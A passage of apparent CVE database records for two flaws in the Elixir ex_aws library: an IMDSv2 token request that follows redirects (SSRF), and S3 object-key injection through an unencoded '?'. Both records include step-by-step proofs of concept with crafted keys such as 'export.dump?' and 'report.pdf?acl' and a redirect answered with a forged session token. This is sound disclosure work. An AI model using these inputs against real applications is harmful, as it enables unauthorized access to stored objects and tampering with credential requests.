"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:43:15.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eServer-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/instance_meta_token_provider.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e and \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws requests its IMDSv2 session token from the link-local metadata endpoint (\u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every subsequent metadata and credential request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.3.0 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files `lib/ex_aws/instance_meta_token_provider.ex` and program routines `ExAws.InstanceMetaTokenProvider.request_token/1` and `ExAws.InstanceMetaTokenProvider.get/1`.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (`http://169.254.169.254/latest/api/token`) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the `x-aws-ec2-metadata-token` header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"value": "Server-Side Request Forgery (SSRF) vulnerability in ex_aws (instance metadata token provider).\n\nThis vulnerability is associated with program files lib/ex_aws/instance_meta_token_provider.ex and program routines ExAws.InstanceMetaTokenProvider.request_token/1 and ExAws.InstanceMetaTokenProvider.get/1.\n\nex_aws requests its IMDSv2 session token from the link-local metadata endpoint (http://169.254.169.254/latest/api/token) with HTTP redirect following enabled. Because the token request follows 3xx redirects and does not restrict the redirect target to the link-local range, an attacker who can influence the response to the metadata request (for example an on-segment neighbor spoofing the link-local address) can answer with a redirect to an arbitrary host. The library follows the redirect and accepts the arbitrary host\u0027s response body as the IMDSv2 session token, caching it and sending it as the x-aws-ec2-metadata-token header on every subsequent metadata and credential request.\n\nThis issue affects ex_aws: from 2.3.0 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-664",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-664 Server Side Request Forgery"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "ADJACENT",
"baseScore": 7.6,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-918",
"description": "CWE-918 Server-Side Request Forgery",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:43:17.078Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-mww9-g5mj-j664"
},
{
"name": "EEF CNA record for CVE-2026-59697",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-59697.html"
},
{
"name": "OSV record EEF-CVE-2026-59697",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-59697"
},
{
"name": "Introducing commit 4d7923c in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/4d7923c16f613cc2bade2ed325d444bba0bc7234"
},
{
"name": "Fix commit 9fcc360 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/9fcc3605c7a0ecf8e205a72c50de3ced72befed0"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "IMDSv2 metadata token request follows HTTP redirects in ex_aws",
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eThe attacker is positioned to answer requests the instance sends to \u003ccode\u003e169.254.169.254\u003c/code\u003e, for example as an on-segment neighbor spoofing the link-local address.\u003c/li\u003e\n\u003cli\u003eThe application obtains a metadata token through \u003ccode\u003eExAws.InstanceMetaTokenProvider.get/1\u003c/code\u003e, which calls \u003ccode\u003erequest_token/1\u003c/code\u003e and sends \u003ccode\u003ePUT /latest/api/token\u003c/code\u003e to the link-local endpoint.\u003c/li\u003e\n\u003cli\u003eThe attacker answers the \u003ccode\u003ePUT\u003c/code\u003e with \u003ccode\u003e302\u003c/code\u003e and a \u003ccode\u003eLocation\u003c/code\u003e header pointing at a host they control.\u003c/li\u003e\n\u003cli\u003eThe HTTP client follows the redirect because ex_aws passed \u003ccode\u003efollow_redirect: true\u003c/code\u003e, and the attacker\u0027s host replies \u003ccode\u003e200\u003c/code\u003e with a chosen body such as \u003ccode\u003eATTACKER-CONTROLLED-SESSION-TOKEN\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eget/1\u003c/code\u003e returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e on later metadata and credential requests.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. The attacker is positioned to answer requests the instance sends to `169.254.169.254`, for example as an on-segment neighbor spoofing the link-local address.\n2. The application obtains a metadata token through `ExAws.InstanceMetaTokenProvider.get/1`, which calls `request_token/1` and sends `PUT /latest/api/token` to the link-local endpoint.\n3. The attacker answers the `PUT` with `302` and a `Location` header pointing at a host they control.\n4. The HTTP client follows the redirect because ex_aws passed `follow_redirect: true`, and the attacker\u0027s host replies `200` with a chosen body such as `ATTACKER-CONTROLLED-SESSION-TOKEN`.\n5. `get/1` returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as `x-aws-ec2-metadata-token` on later metadata and credential requests."
}
],
"value": "* The attacker is positioned to answer requests the instance sends to 169.254.169.254, for example as an on-segment neighbor spoofing the link-local address.\n* The application obtains a metadata token through ExAws.InstanceMetaTokenProvider.get/1, which calls request_token/1 and sends PUT /latest/api/token to the link-local endpoint.\n* The attacker answers the PUT with 302 and a Location header pointing at a host they control.\n* The HTTP client follows the redirect because ex_aws passed follow_redirect: true, and the attacker\u0027s host replies 200 with a chosen body such as ATTACKER-CONTROLLED-SESSION-TOKEN.\n* get/1 returns that body as the IMDSv2 session token, and ex_aws caches it and sends it as x-aws-ec2-metadata-token on later metadata and credential requests."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. Token request.\u003c/strong\u003e \u003ccode\u003eExAws.InstanceMetaTokenProvider.request_token/1\u003c/code\u003e sends the IMDSv2 \u003ccode\u003ePUT\u003c/code\u003e to the hard-coded link-local endpoint \u003ccode\u003ehttp://169.254.169.254/latest/api/token\u003c/code\u003e with \u003ccode\u003efollow_redirect: true\u003c/code\u003e in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Redirect following.\u003c/strong\u003e Any \u003ccode\u003e3xx\u003c/code\u003e reply to the token request is followed by the HTTP client to whatever host its \u003ccode\u003eLocation\u003c/code\u003e header names. Nothing restricts the redirect target to the link-local range, so the request can leave \u003ccode\u003e169.254.169.254\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Token acceptance.\u003c/strong\u003e The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the \u003ccode\u003ex-aws-ec2-metadata-token\u003c/code\u003e header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. Token request.** `ExAws.InstanceMetaTokenProvider.request_token/1` sends the IMDSv2 `PUT` to the hard-coded link-local endpoint `http://169.254.169.254/latest/api/token` with `follow_redirect: true` in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n**2. Redirect following.** Any `3xx` reply to the token request is followed by the HTTP client to whatever host its `Location` header names. Nothing restricts the redirect target to the link-local range, so the request can leave `169.254.169.254`.\n\n**3. Token acceptance.** The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the `x-aws-ec2-metadata-token` header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
],
"value": "1. Token request. ExAws.InstanceMetaTokenProvider.request_token/1 sends the IMDSv2 PUT to the hard-coded link-local endpoint http://169.254.169.254/latest/api/token with follow_redirect: true in its HTTP options. AWS advises against following redirects on metadata requests, and IMDSv2\u0027s \"PUT plus required header\" design is itself an SSRF mitigation.\n\n2. Redirect following. Any 3xx reply to the token request is followed by the HTTP client to whatever host its Location header names. Nothing restricts the redirect target to the link-local range, so the request can leave 169.254.169.254.\n\n3. Token acceptance. The body returned by the final URL is accepted verbatim as the session token, cached in ETS, and sent as the x-aws-ec2-metadata-token header on every later metadata and credential request the library makes. Whoever answers the redirect therefore chooses both where the token request ends up and which value is used as the token."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-59697",
"datePublished": "2026-11-24T11:43:17.078Z",
"dateReserved": "2026-07-06T14:05:47.003Z",
"dateUpdated": "2026-11-24T11:43:17.078Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-62269 (GCVE-0-2026-62269)
Vulnerability from cvelistv5 – Published: 2026-11-24 11:40 – Updated: 2026-11-24 11:40
VLAI
EPSS
VEX
Title
S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws
Summary
Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).
This vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.
ex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.
An attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.
This issue affects ex_aws: from 2.1.2 before 2.8.0.
Severity
CWE
- CWE-116 - Improper Encoding or Escaping of Output
Assigner
References
5 references
| URL | Tags |
|---|---|
| https://github.com/ex-aws/ex_aws/security/advisor… | vendor-advisoryrelated |
| https://cna.erlef.org/cves/CVE-2026-62269.html | related |
| https://osv.dev/vulnerability/EEF-CVE-2026-62269 | related |
| https://github.com/ex-aws/ex_aws/commit/ecd51b196… | related |
| https://github.com/ex-aws/ex_aws/commit/963fcc094… | patch |
Impacted products
Date Public
2026-11-24 11:40
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://repo.hex.pm",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex_aws",
"packageURL": "pkg:hex/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "2.8.0",
"status": "affected",
"version": "2.1.2",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://github.com",
"cpes": [
"cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*"
],
"defaultStatus": "unaffected",
"modules": [
"\u0027Elixir.ExAws.Request.Url\u0027"
],
"packageName": "ex-aws/ex_aws",
"packageURL": "pkg:github/ex-aws/ex_aws",
"product": "ex_aws",
"programFiles": [
"lib/ex_aws/request/url.ex"
],
"programRoutines": [
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:build/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:sanitize/2"
},
{
"name": "\u0027Elixir.ExAws.Request.Url\u0027:get_path/2"
}
],
"repo": "https://github.com/ex-aws/ex_aws",
"vendor": "ex-aws",
"versions": [
{
"lessThan": "963fcc0948102608c6796959e7a0d84f37d84dce",
"status": "affected",
"version": "ecd51b1965909119ee597d6c0783334e30e59e58",
"versionType": "git"
}
]
}
],
"configurations": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \u003ccode\u003e\"s3\"\u003c/code\u003e), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service `\"s3\"`), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"value": "The vulnerability is reachable only on the Amazon S3 request path (the code guarded by service \"s3\"), which applications typically issue through the ex_aws_s3 package. The application must construct S3 operations whose object keys derive from untrusted input (for example a download or upload keyed by a user-supplied filename or identifier). Requests to other AWS services, and S3 operations built entirely from trusted keys, do not reach the vulnerable behavior."
}
],
"cpeApplicability": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:ex-aws:ex_aws:*:*:*:*:*:*:*:*",
"versionEndExcluding": "2.8.0",
"versionStartIncluding": "2.1.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "reporter",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "analyst",
"value": "Jonatan M\u00e4nnchen / EEF"
},
{
"lang": "en",
"type": "coordinator",
"value": "Peter Ullrich"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Bernard Duggan"
}
],
"datePublic": "2026-11-24T11:40:26.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eImproper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\u003c/p\u003e\n\u003cp\u003eThis vulnerability is associated with program files \u003ccode\u003elib/ex_aws/request/url.ex\u003c/code\u003e and program routines \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e, \u003ccode\u003eExAws.Request.Url.sanitize/2\u003c/code\u003e and \u003ccode\u003eExAws.Request.Url.get_path/2\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal \u003ccode\u003e?\u003c/code\u003e in an object key survives unencoded: \u003ccode\u003ebuild/2\u003c/code\u003e inserts the operation path verbatim and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without encoding, and \u003ccode\u003esanitize/2\u003c/code\u003e then splits the flattened URL on the first \u003ccode\u003e?\u003c/code\u003e, treating everything after it as the query string. Because the split runs before \u003ccode\u003euri_encode\u003c/code\u003e is applied to the path, the \u003ccode\u003e?\u003c/code\u003e is never neutralized, and the recovered query is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003eAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as \u003ccode\u003e?acl\u003c/code\u003e, \u003ccode\u003e?tagging\u003c/code\u003e or \u003ccode\u003e?versions\u003c/code\u003e) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\u003c/p\u003e\n\u003cp\u003eThis issue affects ex_aws: from 2.1.2 before 2.8.0.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files `lib/ex_aws/request/url.ex` and program routines `ExAws.Request.Url.build/2`, `ExAws.Request.Url.sanitize/2` and `ExAws.Request.Url.get_path/2`.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal `?` in an object key survives unencoded: `build/2` inserts the operation path verbatim and `URI.to_string/1` emits it without encoding, and `sanitize/2` then splits the flattened URL on the first `?`, treating everything after it as the query string. Because the split runs before `uri_encode` is applied to the path, the `?` is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as `?acl`, `?tagging` or `?versions`) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"value": "Improper Encoding or Escaping of Output vulnerability in ex_aws (S3 request URL construction).\n\nThis vulnerability is associated with program files lib/ex_aws/request/url.ex and program routines ExAws.Request.Url.build/2, ExAws.Request.Url.sanitize/2 and ExAws.Request.Url.get_path/2.\n\nex_aws does not percent-encode reserved characters in S3 object keys when it assembles the request URL. A literal ? in an object key survives unencoded: build/2 inserts the operation path verbatim and URI.to_string/1 emits it without encoding, and sanitize/2 then splits the flattened URL on the first ?, treating everything after it as the query string. Because the split runs before uri_encode is applied to the path, the ? is never neutralized, and the recovered query is re-inserted without any encoding.\n\nAn attacker who controls part of an object key (for example a download or upload keyed by a user-supplied filename) can therefore truncate the key past application-appended suffixes, causing the request to address a different object than the application intended, and can inject live S3 sub-resource operations (such as ?acl, ?tagging or ?versions) into the request. The manipulated URL is signed and transmitted normally, so the tampering is authorized like any legitimate request.\n\nThis issue affects ex_aws: from 2.1.2 before 2.8.0."
}
],
"impacts": [
{
"capecId": "CAPEC-137",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-137 Parameter Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "LOW",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-24T11:40:27.176Z",
"orgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"shortName": "EEF"
},
"references": [
{
"tags": [
"vendor-advisory",
"related"
],
"url": "https://github.com/ex-aws/ex_aws/security/advisories/GHSA-96q9-mcc7-hqj8"
},
{
"name": "EEF CNA record for CVE-2026-62269",
"tags": [
"related"
],
"url": "https://cna.erlef.org/cves/CVE-2026-62269.html"
},
{
"name": "OSV record EEF-CVE-2026-62269",
"tags": [
"related"
],
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-62269"
},
{
"name": "Introducing commit ecd51b1 in ex-aws/ex_aws",
"tags": [
"related"
],
"url": "https://github.com/ex-aws/ex_aws/commit/ecd51b1965909119ee597d6c0783334e30e59e58"
},
{
"name": "Fix commit 963fcc0 in ex-aws/ex_aws",
"tags": [
"patch"
],
"url": "https://github.com/ex-aws/ex_aws/commit/963fcc0948102608c6796959e7a0d84f37d84dce"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "S3 object key query-string injection and truncation via unencoded reserved characters in ex_aws",
"workarounds": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eBefore constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain \u003ccode\u003e?\u003c/code\u003e or \u003ccode\u003e#\u003c/code\u003e) so that no reserved character reaches the URL builder unencoded.\u003c/p\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain `?` or `#`) so that no reserved character reaches the URL builder unencoded."
}
],
"value": "Before constructing an S3 operation, percent-encode reserved characters in the object key (or reject keys that contain ? or #) so that no reserved character reaches the URL builder unencoded."
}
],
"x_proofOfConcept": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003col\u003e\n\u003cli\u003eAn application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: \u003ccode\u003ekey = filename \u0026lt;\u0026gt; \".txt\"\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eIt fetches the object through the public entry point: \u003ccode\u003eExAws.S3.get_object(bucket, key) |\u0026gt; ExAws.request(config)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eA benign filename \u003ccode\u003eexport\u003c/code\u003e yields the key \u003ccode\u003eexport.txt\u003c/code\u003e and the request \u003ccode\u003eGET /victim-bucket/export.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe attacker supplies the filename \u003ccode\u003eexport.dump?\u003c/code\u003e, producing the key \u003ccode\u003eexport.dump?.txt\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eex_aws sends \u003ccode\u003eGET /victim-bucket/export.dump\u003c/code\u003e with the query string \u003ccode\u003e.txt\u003c/code\u003e: the application\u0027s \u003ccode\u003e.txt\u003c/code\u003e suffix is moved into the query and dropped from the key.\u003c/li\u003e\n\u003cli\u003eS3 returns the bytes of \u003ccode\u003eexport.dump\u003c/code\u003e, an object of a different type the application never meant to expose.\u003c/li\u003e\n\u003c/ol\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "1. An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: `key = filename \u003c\u003e \".txt\"`.\n2. It fetches the object through the public entry point: `ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config)`.\n3. A benign filename `export` yields the key `export.txt` and the request `GET /victim-bucket/export.txt`.\n4. The attacker supplies the filename `export.dump?`, producing the key `export.dump?.txt`.\n5. ex_aws sends `GET /victim-bucket/export.dump` with the query string `.txt`: the application\u0027s `.txt` suffix is moved into the query and dropped from the key.\n6. S3 returns the bytes of `export.dump`, an object of a different type the application never meant to expose."
}
],
"value": "* An application lets users download text exports and builds the object key from a user-supplied filename, appending the extension itself: key = filename \u003c\u003e \".txt\".\n* It fetches the object through the public entry point: ExAws.S3.get_object(bucket, key) |\u003e ExAws.request(config).\n* A benign filename export yields the key export.txt and the request GET /victim-bucket/export.txt.\n* The attacker supplies the filename export.dump?, producing the key export.dump?.txt.\n* ex_aws sends GET /victim-bucket/export.dump with the query string .txt: the application\u0027s .txt suffix is moved into the query and dropped from the key.\n* S3 returns the bytes of export.dump, an object of a different type the application never meant to expose."
}
],
"x_technicalAnalysis": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003e\u003cstrong\u003e1. URL assembly.\u003c/strong\u003e \u003ccode\u003eExAws.Request.Url.build/2\u003c/code\u003e inserts the operation path (bucket and object key) verbatim, and \u003ccode\u003eURI.to_string/1\u003c/code\u003e emits it without percent-encoding. A literal \u003ccode\u003e?\u003c/code\u003e in the object key passes straight into the flattened URL string.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e2. Path/query split.\u003c/strong\u003e For S3, \u003ccode\u003esanitize/2\u003c/code\u003e recovers the path and query by splitting that string on the first \u003ccode\u003e?\u003c/code\u003e. \u003ccode\u003eget_path/2\u003c/code\u003e keeps only the portion before the \u003ccode\u003e?\u003c/code\u003e as the path and runs it through \u003ccode\u003euri_encode\u003c/code\u003e. Everything after the \u003ccode\u003e?\u003c/code\u003e becomes the query string and is re-inserted without any encoding.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e3. Signing and transmission.\u003c/strong\u003e Because the split happens before \u003ccode\u003euri_encode\u003c/code\u003e runs, the path encoder never sees the \u003ccode\u003e?\u003c/code\u003e. The resulting request is signed and sent as built:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ethe key \u003ccode\u003ereport.pdf?acl\u003c/code\u003e is sent as \u003ccode\u003eGET /report.pdf?acl\u003c/code\u003e, promoting \u003ccode\u003e?acl\u003c/code\u003e from key bytes into a live S3 sub-resource parameter;\u003c/li\u003e\n\u003cli\u003ethe key \u003ccode\u003esecret?\u0026lt;suffix\u0026gt;\u003c/code\u003e loses everything after the \u003ccode\u003e?\u003c/code\u003e (for example an application-appended \u003ccode\u003e.json\u003c/code\u003e extension), so the request addresses a different object than the one the caller constructed.\u003c/li\u003e\n\u003c/ul\u003e"
},
{
"base64": false,
"type": "text/markdown",
"value": "**1. URL assembly.** `ExAws.Request.Url.build/2` inserts the operation path (bucket and object key) verbatim, and `URI.to_string/1` emits it without percent-encoding. A literal `?` in the object key passes straight into the flattened URL string.\n\n**2. Path/query split.** For S3, `sanitize/2` recovers the path and query by splitting that string on the first `?`. `get_path/2` keeps only the portion before the `?` as the path and runs it through `uri_encode`. Everything after the `?` becomes the query string and is re-inserted without any encoding.\n\n**3. Signing and transmission.** Because the split happens before `uri_encode` runs, the path encoder never sees the `?`. The resulting request is signed and sent as built:\n\n- the key `report.pdf?acl` is sent as `GET /report.pdf?acl`, promoting `?acl` from key bytes into a live S3 sub-resource parameter;\n- the key `secret?\u003csuffix\u003e` loses everything after the `?` (for example an application-appended `.json` extension), so the request addresses a different object than the one the caller constructed."
}
],
"value": "1. URL assembly. ExAws.Request.Url.build/2 inserts the operation path (bucket and object key) verbatim, and URI.to_string/1 emits it without percent-encoding. A literal ? in the object key passes straight into the flattened URL string.\n\n2. Path/query split. For S3, sanitize/2 recovers the path and query by splitting that string on the first ?. get_path/2 keeps only the portion before the ? as the path and runs it through uri_encode. Everything after the ? becomes the query string and is re-inserted without any encoding.\n\n3. Signing and transmission. Because the split happens before uri_encode runs, the path encoder never sees the ?. The resulting request is signed and sent as built:\n\n* the key report.pdf?acl is sent as GET /report.pdf?acl, promoting ?acl from key bytes into a live S3 sub-resource parameter;\n* the key secret?\u003csuffix\u003e loses everything after the ? (for example an application-appended .json extension), so the request addresses a different object than the one the caller constructed."
}
]
}
},
"cveMetadata": {
"assignerOrgId": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db",
"assignerShortName": "EEF",
"cveId": "CVE-2026-62269",
"datePublished": "2026-11-24T11:40:27.176Z",
"dateReserved": "2026-07-13T18:06:12.918Z",
"dateUpdated": "2026-11-24T11:40:27.176Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}